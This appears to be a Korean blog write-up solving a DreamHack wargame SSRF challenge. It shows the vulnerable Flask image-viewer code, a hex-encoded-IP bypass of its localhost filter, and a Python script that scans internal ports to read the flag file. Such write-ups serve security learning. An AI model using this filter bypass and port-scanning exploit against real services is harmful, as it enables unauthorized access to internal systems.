https://dreamhack.io/wargame/challenges/75/
난이도: Level 2
#!/usr/bin/python3
from flask import (
Flask,
request,
render_template
)
import http.server
import threading
import requests
import os, random, base64
from urllib.parse import urlparse
app = Flask(__name__)
app.secret_key = os.urandom(32)
try:
FLAG = open("./flag.txt", "r").read() # Flag is here!!
except:
FLAG = "[**FLAG**]"
@app.route("/")
def index():
return render_template("index.html")
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
threading._start_new_thread(run_local_server, ())
app.run(host="0.0.0.0", port=8000, threaded=True)
위 코드를 보면, run_local_server() 를 통해 내부 서버가 하나 더 실행되고 있는 것을 확인할 수 있습니다.
@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
if request.method == "GET":
return render_template("img_viewer.html")
elif request.method == "POST":
url = request.form.get("url", "")
urlp = urlparse(url)
if url[0] == "/":
url = "http://localhost:8000" + url
elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
try:
data = requests.get(url, timeout=3).content
img = base64.b64encode(data).decode("utf8")
except:
data = open("error.png", "rb").read()
img = base64.b64encode(data).decode("utf8")
return render_template("img_viewer.html", img=img)
img_viewer 함수를 보면, 위와 같이 내부 서버에 requests.get 요청을 보내서 content 를 가져오고 있습니다.
즉, 내부 서버에서 가져온 내용을 base64로 인코딩하여 img_viewer.html에 img 인자로 넘기고 있습니다.
FLAG를 획득하기 위해서 우선 내부 서버에 접근할 수 있어야 합니다. 하지만, localhost, 127.0.0.1 이 URL 파라미터에 포함될 경우, error.png를 출력합니다. 이를 우회하기 위해 IP를 hex 형태로 바꿔줍니다.
local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
(local_host, local_port), http.server.SimpleHTTPRequestHandler
)
def run_local_server():
local_server.serve_forever()
추가적으로, 내부 서버의 포트가 1500~1799 값 중에 하나를 갖기에, error.png를 띄우지 않는 포트를 찾아야합니다.
Exploit Code
import requests
# local_host encoding
ip = "127.0.0.1"
ip_hex = "0x"
for i in ip.split("."):
v = hex(int(i))[2:]
ip_hex += ('0'+ v ) if len(v) == 1 else v
url = "http://host3.dreamhack.games:14925/img_viewer"
for port in range(1500, 1800):
data = {"url": "http://" + ip_hex + ":" + str(port) + "/flag.txt"}
r = requests.post(url=url, data=data)
if not "iVBORw0KGgoAAAANSUhEUgAAA04AAAF4CAYAAABjHKkYAAA" in r.text:
print(data["url"])
error.png를 띄우지 않는 포트를 찾을 경우, 출력해줍니다.
1537번 포트가 내부서버로 동작하고 있는 것을 확인할 수 있습니다.
이를 image viewer의 url 파라미터에 인자로 넘겨주면 됩니다.
img 태그의 src 내용을 확인해보면, 아래와 같이 나와있습니다.
data:image/png:base64, REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9
import base64
# REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9
print(base64.b64decode('REh7NDNkZDIxODkwNTY0NzVhN2YzYmQxMTQ1NmExN2FkNzF9').decode())
위 코드를 실행시켜 디코딩을 진행하면, FLAG를 획득할 수 있습니다.
'DreamHack' 카테고리의 다른 글
[DreamHack] Format String Bug (0) | 2023.06.19 |
---|---|
[DreamHack] Return to Library (0) | 2023.06.19 |
[DreamHack] login-1 (0) | 2023.06.17 |
[DreamHack] XSS Filtering Bypass (1) | 2023.06.15 |
[DreamHack] baby-sqlite (0) | 2023.06.15 |